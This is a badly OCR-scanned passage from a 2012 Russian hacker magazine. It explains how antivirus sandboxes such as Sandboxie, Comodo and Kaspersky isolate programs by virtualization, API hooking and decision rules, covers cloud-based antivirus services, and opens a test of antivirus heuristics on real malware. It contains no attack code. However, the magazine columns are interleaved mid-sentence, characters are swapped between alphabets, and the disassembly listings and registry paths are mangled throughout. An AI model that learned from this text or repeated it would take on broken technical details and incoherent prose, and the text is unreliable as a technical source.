76tЫ7Ь8 ЬВЬ7000000 761Ы7Ьd Ь..ОООЭfо?f

маv

eax . OB7h

76fbB7c: 2 ffl2

c:all ret

76fЫ7c:l с:20с:ОО

76fbB7c:7 90 76fЫ7с:8 е9с:Э7 4 2ВО6 ntdlliNtOpenEvent

~~:~=~~~ ~~~OЗfo?f

7HЫ7ddЬ.OOOЗfe1f 76!Ь87e2fl 1 2

!fSOШJJ •C Ш · UDJ.utt.otii:IOUIIflЩ (fSO?IFIJ.CШ · IIDJ.tHII-ooooRift1Щ

76fbB7e4c:20c:OO

( 1ffeOЭ OOJ

ась

jмр Sbl.eD 1 11SЬi oD11 GetHand1ePath +Ox9e SO (7d2Эfc:90J ~~=~~~~~~~~~~~~:illj},

dvo~

00 )

ptr [edx}

OCh

~ ~1 ~~ ~~~"ЬеЬiООО~~О i r

( FXIШ1HШ · IID I .fifl~llftl!:I J

[FI071FIHIII•\ IOI .. it\'1.000ШIFUЩ

edx . c:~ffse t Sho.redUaerO..taiSyate• Cal !Stub dvo rcl ptr (edx]

nc:~p

7 6 fЫ7d4 с:20с:ОО 76fЫ7d7 90

[FI071HHJSHID1-&910-0000FIIFШ11

З Оh

u.~t .O B9h

c:a ll

adlt . of f aet SharedUnrO..tal Syata•C. 11S tub ( 1f fеОЭОО ) dvord ptr (l:dx) ась

76fЬ87е?~!~ОИ*!~:-~~!!~~~~~~~~~~~~~~

( fS01tf)j-CШ·IIOJ*ВoOIXIOIIIfiШJ

(fXI11fJH5JI · IIOJ·191f-OO:IOfllfE2ll l

!\

( fS0 7 1f11~1 · 110) . .1f«<XXfflffJ11. ) \ F:107111 1· 01\•iiOJ . -oOI))OAJfШ1 )

dvc:~~

ptr (edx]

IOb

{ f~)I .Q SI · IIO ) .мti-OOOOFI\fi.U1 )

!Ldl$ lнa русском! или на JIШ!n.mlп~ com/en-usliibraгy/ ~ lnо­

-

анrлийски)

Содержани е двух

nредыдущих статей цикла ищи нашем

ОО)

ди ске.

( FmJ!f11 .(SSI·IJOH911.oocort!fШ!. )

!:~~:~~ -~~~~-==:~~ Перехват некоторы х функций и з

Замена стандартного обработчика Jаvа-скриптов на собственный , выполненная н днтивирусом Касперского ~>

то это повод навострить уши. Тем более, что

iframe

используется все реже и реже.

Что касается зашифрова нных, обфусци ­

ntdll.dll, выnолненный nесочницей SandboxiE

!nодложные фу н кц ии находятся в библиотек е SbleDLL.dlll

программ с контролируемыми nараметра-

смо тря на это, данный подход является основ­

ми многие объясняют аналогией с детской

ным в большинстве продуктов ISandbox iE,

песочницей. Что ж, такая версия тоже имеет

Bu ffe гZone, изолированные среды антивирусов

рованных или еще незнакомых антивирусу

право на существование, но лично мне ближе

Ka speгsky lnteгnet Secuгity,

вредоносных скриптов, то выходом является

другая. У пожарных «nесочницеЙ>> называется

Secuгity Рго,

эму ляция их исполнения с последующим

специальный бак с песком, в котором можно

анализом по сигнатурам или с помощью эври ­

безоnасно экспериментировать с легковоспла ­

стики.

меняющимися веществами.

Для выполнения Jаvа - скриптов исполь­

В антивирусных песочницах можно выде­

Comodo lnteгnet Avast l nteгnet Secuгity).

Изоляция на основе nравил

В се попытки изменения об ъектов файловой систем ы или реестра не виртуализируются,

зуется движок, который представляет собой

лить три базовые модели изоляции nростран ­

а рассматриваются с точки зрения набора вну­

D L L-мо д уль

ства от всей остальной системы.

тренних правил средства защиты. Недо с таток

jscript.dll.

Он нах одится обычно

в папке % windiг%\system32, содержит реали­

такого подхода тот же, что и во втором случае

зацию набора СОМ-интерфейсов и использует­

Изоляция на основе nолной виртуализации

-во змо жность выхода зловредного при­

ся

Заключает ся в использовании движка

ложения из -п од контроля песочницы. Однако

IE для

лено три

выполнения

JS.

В

Windows

опреде­

GUID !уникальных идентификаторов)

вирт уал ьной машины в каче стве защит ного

в этом случае гораздо проще осуществлять

СОМ-объекта- движка интерпретатора

слоя над гостевой операционной системой.

обме н данными между контролируемой средой

ск риптов Jscгipt. Это

{f414c260 -6ac0-11cfb6d 1- ООааООЬ ЬЬЬ58}, {f414c261-6a сО -11 cfb6d1-00aa00bbbb58} и {f414c262-6ac0-11 сf­

Такой подход дает очень выс окий у ровень

и ос н о вной системой. Пример - Windows Useг Account Contгolixopoшo всем известный и мно­

статки очевидны- большой объем, большое

гим надоедающий контроль учетных записей

Ь6d1-00аа00ЬЬЬЬ58}. Е сли поискать в реестре

потребление ресурсов системы и сложнос ть

Win dows!.

эту строку, то можно уви д еть, какой модуль

обмена данными между основной систе мой

зарегистрирован в качес тве интерпретатора

и песочницей.

защиты основной рабочей си стемы. Недо­

В св язи с тем , что наиболее широкое при ­ менение получил в т орой подход, стоит его

рассмотре ть подробнее на примере широко

JavaSc гi pt. Как уже было у п омянуто, обычно Изоляция на основе частичной виртуализа­

распространенной песочницы

подменить эту ветку реестра и заре гистри­

ции файловой системы и реестра

ло вая система вирт уализ ируется достаточно

ровать в сис теме сво й обработчик скриптов,

Совсем не обязательно использовать движок

пр о сто- путем создания дубликатов паnки

который и буде т выполнять анализ их вре д о ­

виртуальной машины для изоляции выполне­

текущего п ользователя, дубликатов журна­

носности и «nущать или не пущать».

ния nрограмм. Можно просто подставпять про­

лов транзакций общей файловой системы

это

jscript.dll.

Н о ничего не мешает антивирусу

SandboxiE.

Фа й­

анализируются только с крипты, выполняе ­

объекты файловой системы и реестра, а их

и папок, имитирующих накопители !внутрен­ ние и внешние!. Также создается дубликат

мые в браузерах, использующих стандартный

дубликаты. Попытка их изменения приведет

реестра.

JаvаSсгiрt-движок

к изменению лишь их копий внутри песочницы,

Недостаток такой подмены в том, что

Windows.

КАК РАБОТАЕТ ПЕСОЧНИЦА

цессам, запущенным в песочнице, не реальные

П осле того как созданы дубликаты фай­

реальные данные не изменятся и не п ост рада­

ловой системы и реестра, задача песочницы

ют. Основной недостаток так о го вида песочниц

с водится к перехвату всех функций работ ы

Почему-тоnроисхождение названия « nесоч­

-n робои или обход, и в результате - выход

с файлами и реестром. Если приложен и е,

ница>> для изолированной среды исполнения

вредоносного кода в основную систему. Н е-

обращаю щ еесяк реестру или пытающееся

соз дать/изменить какой-либо файл, запуще но не и з-по д песочницы, то управление пере­

дается оригинальным функциям . Е сл и же

В АНТИВИРУСНЫХ ПЕСОЧНИЦАХ МОЖНО ВЫДЕЛИТЬ ТРИ БАЗОВЫЕ МОДЕЛИ

ИЗОЛЯЦИИ ПРОСТРАНСТВА ОТ ВСЕЙ ОСТАЛЬНОЙ СИСТЕМЫ

такое приложение выполняется в пе с очнице, то вместо настоящего реестра и настоящего внешнего накопителя ему посредством

перехваченных функций подсовываются их дубликаты. П оско льку функций , с помощью которых

можно работать с файловой системой и рее­ ст р о м, много , то и перехватов приходится де-

ХАКЕР

078

www.epidemz.net

04/159/20 12

С антивируса ми поконч ено'

лать много. К примеру, Saпdboxi E производит

эвристического анализатора. Так работают

Д ля песочницы из состава Comodo lпterпet

перехват

песочницы из состава большинства анти­

Security основной режим- режим пос т оянной

вирусных продуктов [в частности Kaspersky

защиты с эвристическим алгоритмом принятия

lпterпet Secu r ity и Comodo lпterпet Security

решения. Однако помимо это г о существует

Рго].

возможность ручного запуска при л ожений

56 функций из пtdll.dll, 68 функций из user32.dll, 71 функции из advap i32.dll, 6 функ­ ций из kerпel32.dll и 1 функции из ws_32.dll. Теперь пара слов про м етоды принятия решения о помещении выполняемого приложе­

в песочнице.

ния в песочницу, а также о режимах ее работы.

Чт о касается режимов работы, то их тоже

ЗАКЛЮЧЕНИЕ

Методов приня'тия решения по большому сче т у

два- режим постоянной защиты и режим

два.

руч н ой защиты. В первом случае приложение

Конечно, некот орые детали остались за

автоматически помещается в песоч ниц у либо

кадром, да и разработчики в антивирусных

На основе правил

выполняется вне ее в зависимости от резуль­

лабораториях все время изобретают что -то но­

Модуль принятия решения обращается к вну­

та т а работы модуля принятия решения при

вое, пытаясь догнать и пере гн ать соз д а т елей

тренней базе правил запуска приложений и в

старте приложения. В о втором- пользователь

вредоно сного программнаго обеспече н ия ... Н о

зависимости от них запускае т приложения либо

сам принимает решение о запуске процесса

главное, что все эти антивирусные премудр о­

в песочнице, либо в основ н ой системе. Такой

внутри песочницы. К примеру, для SaпdboxiE

сти обрели порядок и свое место на много ­

подход применяют Saпdbox iE , Bu fferZoпe.

[песочни ца на основе частичной виртуализа­

численных полочках в твоей голове. А там,

ции] основным режимом работы является ре­

глядишь, и ты придумаешь что-нибудь такое,

На основе эвристических подходов

жим ручной защиты, но при покупке лицензии

что произведет революцию в антивирусном

В этом случае решение о запуске в песочн иц е

можно активировать режим постоянной за­

дел е, и редактору придется выделять место

принимается на основе результатов работы

щиты с принятием решения на основе правил.

под новые статьи в нашем журнале. ::Х:

!@~<>JO «

Sandbox > Drobotun >( DefaultBox

•J

'Чfn'!l:r.I'L~-. 'Тo11 , .. "- •. ,

11iL.

Имя

(nусто)

"- на3sани! тtкуще:~1 nесочн ~щы

_/~

~

дуб1щкат файлоsой

снетемы же:сткихд11СtФе н ане:шм их 11акоn~1Те:Jш'1

~ Ду6JН1К!IТП!Iпtщтекущеrо П0ЛЬ30!!1Т!ЛА de:sktop.ini

_________________________,

r'"-: D_ O.,. N.,. т-_u_ SE_.т__xт . . . . _. Re:gHive:

RegHive.LOGl RegHive.LOG2 RegHive(бbl8ead4· 0eac·ll el·90d4 ·00188ЬЗf4с92 }.ТМ . Ыf RegH ive(бЫ8ead4-0eac - llel-90d4 - 00188ЬЗf4c92 }. TMContainer()0000000000000001 .regtrans·m s RegHive(бЫ8eod4-0 eoc·llel- 90d4·00188ЬЗf4c92}.TMContoiner00000000000000000002.regtrans-ms

""" дуб!IНК!IТЫ Jot<ypHMO! ТР!IН3!1НЦ11Й общей фl!I\~1/\О!ОЙ СИСТ!МЬI Общий nринциn изоляции файловой системы в

SandboxiE

1

Виртуализа ция файловой системы в SandboxiE lв nапке dгive на х одятся nаnки , имитирующие внешние накоnители!

В случае исnользо­

ОБЛАЧНЫЕ ТЕХНОЛОГИИ НА АНТИВИРУСНОЙ СЛУЖБЕ

вания песочниц для изоляции выполняе­

мого кода следует помнить, что многие

Началом применения облачных технологий в антивирусном

еще не скача на, автоматически проис ходит обновление баз.

деле можно , наверное, считать предоставление

В сигнатурах содержится не только часть тела вир уса или его

а нтивирусными компаниями возможности онлайн-проверки

хэш, но и некоторые типичные сценарии повед е ния , кот орые

файлов на вредоносность. Эта возможность существует

позволяют однознач но определить вредоносно сть программы.

и по се й день, но под облачными те х нологиями в сфере

В антивирусах от ко мпании

а нтивирусной з ащиты сегодня понимается уже совсем

название << Облачный анализ поведения приложений», и с

другое. Почти все крупные антивирусные компании

его помощью подозрительные файлы отправляются на

используют облака в качестве огромной антивирусной базы,

дополнительный анализ.

причем фактически пополняемой самими пользователями ,

Говоря про облачные технологии в сфере борьбы

давшими со гла сие на участие в программе пополнения

с вредоносными программ ами, нельзя не уnомянуть

и уточ нения информации о вредоносных и пот е нциально

<< Лабораторию Kacnepcкoro » с ее

вре доносны х объектах. В разных антивирусных компаниях

rity Network . K5N-

э то называется по-разному. У

позволяющая пользователям пол учать оперативные

Comodo

та же самая фигня носит

руют далеко не всю

систему. Как nра­ вило , зто несколько

критически важных

объектов, наnример : папки Ргоgгаm

Files, Windows, Useгs\%AIIUse­ гsPгofile %\Pгogгam

Data, Documents and Setting и ветвь реестра HKLM\ Softwaгe.

Kaspersky 5ecu-

сеть информационной безопасности,

Microsoft 5ecurity E sseпtia l -«Служба динамически х сигнатур 055 [Oyпamic 5igпature 5ervice] ». Если на выходе проактивной защиты файл будет

данны е о репутации программ и веб-сайтов , оперативно

расценен как подозрительный lк примеру, пытает ся изменить

антивирусн ы х nрограммах от << Ла боратории Касперского >>

си стемные файлы), но сигнатурный анализатор на него

реализованы функции веб-филыра, антифишинговый

реагируя на появление новы х угроз . С помощью

K5N

Про обфускацию Jаvа-скриптов очень хорошо написано

в новы х

никак не отреагировал , то создается профиль этого файла,

модуль, функция контроля программ lрейтингование софта

который отсылается для анализа в специальные сервисы

no

Microsoft- 055, 5pyNet и MR5 !Microsoft Reputation 5ervices).

ПК и nереанальным данным) и модуль анти-спам, который

В случае, когда в базе обновления сигнатура уже есть, но она

обращается в

ХАКЕР

из них виртуализи­

в статье н JavaScгipt : игры в прятки н

в девятом номере][ 2011 год .

за

признакам опасности при назначении доступа к р есу рсам

K5N

за образцами спам-nисем .

04 /159/ 2012

079

www.epidemz.net

MALWARE

deeonis ldeeonislagmail.coml

Не известная ИСПЫТЫВАЕМ ЭВРИСТИКУ АВЕРОВ НА САМЫХ НОВЫХ В ИРУСАХ Как и з в ес тно, антивирусное ПО работает в полную силу т о лько в том случае, если своевременно получает свои

апдейты . Об этом догадываются и вирмейкеры, которы е выпускают новые версии зловредов чуть ли не каждый д е нь .

Сегодня мы проверим, насколько хорошо аверы справят ся с самыми свежими экземплярами вирусов и троянов ,

к оторы х еще нет у ни х в база х.

егодняшние испытания мы будем

граммнога обеспечения. Вирм е й к еры в своих

!три из которых были nожаты

проводить на реальных зловредах,

ТЗ выделяют А виру в отдельный пункт, а по

дочных файла с расшире н ием

которых написали реальные киберз­

уровню прич и няемой головной боли этого

нутри были похожи один на

лодеи для своих реальных киберзлодейских

а вера можно сравн ит ь разве что с

ziр-архив. Всего получилось д еся т ь з лов ре д ов.

нужд. Н апомним, что для всех наших предыду­

портит нервы добрым и трудолюбивым вер­

щих тестов мы писали собственные сэмплы,

стальщикам и wеЬ-кодерам.

с

IE6,

который

lpe, кото р ые из­ pdf, а другой- на

Само тестирование у нас буд ет проходить в два этапа . На первом эта п е мы натравим антивирусы с несвежими базами на найде н ные

которые хоть и не были нас т оящими зловреда­ м и, но усиленностаралисьими предста виться.

UPXI и два зага­

УСЛОВИЯ ТЕСТИРОВАНИЯ

трояны и запишем результат. Таким образом мы

Настоящие же трояны должны по казать, кто

Для тестов мы засетапили на вирутапку све­

правери м , насколько хорошо аверы сnравляют­

из производителей антивирусных программ

женькую

ся с новым, неизвестным им вре д о н осным П О.

лучше отрабатывает деньги, с таким трудом

а затем начали устанавливать антивирусы,

Вторая часть испытаний состоится через неде­

добываемые их клиентами. Но чтобы проверка

попутно создавая снапшоты виртуальной

лю после nервой. Мы дадим антивирусам время